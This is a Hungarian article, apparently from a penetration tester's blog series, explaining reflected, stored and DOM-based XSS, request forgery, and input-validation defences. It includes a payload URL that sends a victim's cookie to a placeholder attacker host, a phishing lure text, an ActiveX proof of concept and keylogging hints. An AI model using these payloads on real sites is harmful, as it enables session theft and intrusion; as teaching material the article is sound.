Webalkalmazások biztonsági hibái - 6. Cross site scripting, XSS

Betörési tesztjeink során gyakran találkozunk azzal a jelenséggel, hogy a weboldalak fejlesztői ugyanazokat a hibákat követik el újra és újra. Ezen klasszikus hibákat egy több részből álló sorozatban szeretnénk bemutatni.

Az XSS (azaz a Cross-Site Scripting) és a hozzá kapcsolódó három- és négybetűs rövidítések (XSS, XSRF, OSRF,...) meglehetősen "divatos" sebezhetőségeket jelölnek – a cikk további részében XSS néven nevezem az összes XSS-szerű sebezhetőséget akkor is, ha adott esetben semmilyen „cross-site” szkriptelés nem történik.

Az elmúlt években érdekes trend figyelhető meg az XSS-sel kapcsolatosan: két-három évvel ezelőtti betörési módszertanok, könyvek az XSS-t apró hibalehetőségként említik, amely korlátozott hatással bírhat megfelelő esetben a felhasználóra, de a kritikus hibát okozó problémák közé jellemzően nem sorolták be; az SQL injectiont, arbitrary file inclusiont stb. jóval komolyabb hatású sebezhetőségként aposztrofálták. Ez a trend mára megfordult: az újabb irodalmakban sokkal mélyebb hatású problémaként kezelik az XSS-t. A gyakorlatunk is megerősíti ezt a trendet: több munkánk során is a teljes webalkalmazás kompromittálása történt meg egy „egyszerű” XSS-sebezhetőség felhasználásával. Továbbmegyünk: a mostanság divatos, összetett webrendszerek esetében az összefüggések és a kölcsönös, domainek közti explicit trustok miatt a „szomszédos” rendszereket is támadni lehet.

Az XSS az inputvalidációs hiányosságok népes családjába tartozik. Alapvetően azt a bizalmi viszonyt használja ki, ami a felhasználó böngészője és a meglátogatott webalkalmazás által adott html/javascript kód között fennáll: ha a támadó el tudja érni, hogy a felhasználó böngészője valamilyen tetszőleges (rosszindulatú) javascript, vagy html kódot értelmezzen, akkor XSS-támadásról beszélünk. Az XSS-sebezhetőségeknek több fajtáját szokás megkülönböztetni.

Reflektált XSS
Reflektált XSS támadás során valamilyen ehhez hasonló inputvalidációs hiba kihasználása történik meg:
Error.php:

< ?php echo ”Hiba történt: $_GET[„$hibauzenet”]” ? >

Ha a támadó a hibauzenet változó helyére valamilyen javascript kódot szúr be, akkor a böngészőt utasíthatja tetszőleges http-kérés kiadására. Ezáltal lehetősége van egyrészt a felhasználó sessioncookie-jának „ellopására” (kompromittálására), illetve magának a webalkalmazásnak a támadására (például úgy, hogy egy webaukciós portál esetében olyan http-kérést ad ki, amely leüti a támadó ajánlatát). Ezen támadások közös jellemzője, hogy a célpontnak a sikeres támadáshoz meg kell látogatnia valamely URL-t, amelyet a támadó készít elő. A fenti példában a cookie ellopásához az alábbi URL-t kell meglátogatni: http://webapp/error.php?hibauzenet=&lt script &gt var+i=new+Image;i.src=”akarmi.tamado.gepe/”.%2document.cookie &lt script &gt

Az URL-re kattintást többféleképp is ki lehet váltani: a legegyszerűbb esetben a támadó személyre szabott levélben küldi ki az URL-t valami olyan szöveggel, hogy „Kedves felhasználónk! Karbantartási okokból kérjük, hogy bejelentkezés után kattintson az alábbi linkre, amely adminisztratív feladatokat hajt végre a fiókján! Köszönjük!”. A felhasználó ránéz az URL-re, látja, hogy valami webapp-ra mutató link az valami krikszkraksszal mögötte, de hát a webappos linkek mindig így néznek ki. És kattint, a támadónak pedig a sessionazonosító megnézéséhez annyi a dolga, hogy nézegesse a saját gépén az apache logjait. A támadás tehát „reflektálja” a veszélyes javascript kódot a felhasználó gépére – innét a név.

Tárolt XSS
A reflektált XSS-nél a támadó semmilyen módon nem rögzíti a kódját a webalkalmazásban – emiatt szükséges a bűvészkedés a megtévesztő URL-lel és a felhasználó győzködése. Mindezeket a problémákat kikerülheti a támadó, ha a kérdéses javascript kódot magában a webalkalmazásban tárolja.

Bárhol lehet a kód: fórumoknál a hozzászóló nevében, magában a hozzászólásban, akárhol: elég egy nem kellőképpen validált input mező, aminek eredményét a felhasználó böngészője közvetlenül megjeleníti – az inputba szkriptet injektálva már támadható is bárki, aki letölti az adott oldalt.

A böngészők készítői –elég régi sebezhetőségről lévén szó- sok mindennel megnehezítik az ilyen támadások sikerességét. Ezen ellenintézkedések közül a legfontosabb a same origin policy, amely meghatározza azt, hogy a böngésző által futtatott szkriptek milyen tárolt adatokhoz (cookie-k, tárolt jelszavak, az „autocomplete” mező tartalma stb.) férhetnek hozzá. A böngészők az elérhető adatok körének meghatározásakor azt figyelik, hogy mely domainből kapták az adott javascript kódot: például csak azokhoz a cookie-khoz férhetnek hozzá a javascriptes hívások, amelyek ugyanabból a domainből származnak, mint a cookie. Hiába próbálja tehát a támadó a tamadodomain.hu domainből jövő javascript elérni a webapp.hu által írt és használt adatokat, a böngésző nem engedélyezi. Más a helyzet viszont a fenti XSS-es példáknál, ugyanis ezek a same origin policy megkerülését jelentik, hiszen ugyanúgy a webapp.hu domainből jön az „ártó” javascript, mint a sessionazonosító és a cookie.

DOM-based XSS
A DOM rövidítés a Document Object Model paradigmáját jelenti. A DOM a böngésző, a környezet és a felhasználó bizonyos tulajdonságainak nyelvfüggetlen megjelenítését és kezelését teszi lehetővé - a gyakorlatban ez annyit jelent, hogy a DOM használatával lehetséges például javascriptből lekérni a böngészőablak tulajdonságait (pl. méret, titlebar tartalma) és módosítani őket.

A DOM használható XSS-támadások kivitelezésére is. Tipikus DOM-based XSS-es támadásforgatókönyv az alábbi:

1. A felhasználó meglátogat egy speciálisan, a támadó által elkészített URL-t, amely javascriptet tartalmaz.
   
2. A szerver által visszaadott kód nem tartalmazza a támadó javascriptjét, teljesen legitim.
3. A felhasználó böngészője feldolgozza a kapott javascript kódot, és meghívja a támadó kódját.
   

Hogy valósítható ez meg? Azokban az esetekben, amikor az oldalon futó, legitim, ám hanyagul megírt javascript az oldalon különféle tevékenységekhez felhasználja az oldal URL-jét (például ellenőrzés nélkül kiírja az URL valamely paraméterének tartalmát), a támadó injektálhat ártó szándékú szkriptet az oldalba. Lássunk erre egy példát!
error.php:
< ?php
echo"< script >
var aktur=document.url;
aktur=unescape(aktur);
document.write(a.substring(a.indexOf("hibauzenet="),9));
< /script>";
? >

A támadó az error.php?hibauzenet=< script >alert("Hello")< /script > URL-re kattintatással XSS támadást tud végrehajtani ebben az esetben.

Milyen támadásokból áll az XSS „családfája”?

• Klasszikus cross site scripting – az előzőekben bemutatott, sessionazonosító cookie ellopását célzó támadás tartozik ide, ugyanis ekkor „kiszkriptelünk” az eredeti domainből. Ebbe a családba tartozik az a támadás is, amikor a támadó a document.body.innerhtml függvény használatával "kidobja" az eredeti forrást (legalábbis a felhasználó böngészője nem jeleníti meg), és a helyette látott kóddal felépíti a bejelentkezési képernyőt azzal az apró különbséggel, hogy a feldolgozószkript nem az eredeti lesz, hanem a támadó gépén fog futni. Ezt a fajta támadás meglehetősen nagy jelentőséggel bír, szokás personalized phishing attack névvel is illetni.
  
• Cross-site request forgery – ebben az esetben nem a támadó gépén futó webszerverre „szkriptelünk át”, hanem valamely, másik domainben futó másik webalkalmazáson hajt(at)unk végre valamilyen műveletet. Ilyen lehet például az az eset, amikor a gmail chates sebezhetőség alapján az áldozat google documentjeihez hozzáférést ad a támadónak. Kimondottan finommá teszi a helyzetet, hogy lehetséges trusted domain-eket definiálni egy webalkalmazásban, amelyek a same origin policy szempontjából ekvivalensnek számítanak. Nem sok idővel ezelőtt a youtube.com és a *google domainek között volt ilyen viszony, és bár sebezhetőség konkrétan nem lett belőle, bejelentés után megszüntették az ilyen, feltétel nélküli trustot.
• On-site request forgery – ilyen esetben azonos webalkalmazást szólítunk meg. Az előzőekben elmondott on-line aukciósházas példa sorolható ide, amikor a támadó ráveszi az áldozatot, hogy üsse le az ő ajánlatánál a licitet az oldal megfelelő funkciójának meghív(at)ásával.

Mi mindent lehet összehozni egy "egyszerű" XSS segítségével? Néhány lehetőség és proof-of-concept kód, csak ötletbörzeként:

• Backdoorok, trójaik és egyéb malware telepítése az áldozat gépére. A böngészők mára meglehetősen komplex funkcionalitást nyújtó, akár alkalmazásfejlesztési célokra is alkalmazható közeggé nőtték ki magukat. Azt, hogy milyen tevékenységeket engedélyeznek a rajtuk keresztül megjelenített szkripteknek, azt azzal szabályozzuk, hogy az adott domain milyen bizalmi szinten helyezkedik el: IE alatt a "Trusted Zones"-ba tartozó domaineknek meglehetősen sok mindent engedélyezett. Ha ilyen zónába tartozó oldalon találunk XSS-sebezhetőséget, az akár a hoszt kompromittálását is jelentheti. Például az alábbi proof-of-concept kód a paint.exét indítja el:
  < script >
  var o = new ActiveXObject(‘WScript.shell’);
  o.Run(‘mspaint.exe’);
  < /script >
  
• Portscanning. Jeremiah Grossman publikálta először a blogjában azt, hogy XSS használatával (akár bizony javascript használata nélkül) portscant is végre lehet hajtani.
• Keylogger. A javascript nagyon hatékony eszköz, például keylogging funkcionalitás is megvalósítható vele a document.onkeypress és a String.fromCharCode(window.event.keyCode) használatával.
  
• A vágólap tartalmához történő hozzáférés. A megfelelő függvény használatával (nem írom ide, akit érdekel, keressen rá a google-lel a javascript és a clipboard szavak lineáris kombinációjára)
• XSS zombie. Az egyik legvonzóbb lehetőség az, ha a felhasználó böngészőjét a bizalmi szint erejéig tetszőleges dolgok művelésére rávehetjük, akár real-time... ezt a lehetőséget az XSS Shell eszköz biztosítja.
  

Mit lehet tenni a fent elmondottak megelőzésére? Első és legfontosabb az, hogy validáljunk minden inputot, ami a felhasználó felől érkezik, ne hagyjunk egy mezőt sem közvetlenül megjelenni a felhasználó böngészőjében. A validáláshoz pedig inkább javasolt a pozitív szemléletű megközelítés (azaz számot váró mezőben csak számot fogadunk el, név mezőben csak alfanumerikus karaktereket stb.), mint a „kiszűrjük a tipikus XSS-es karaktereket”-megközelítés.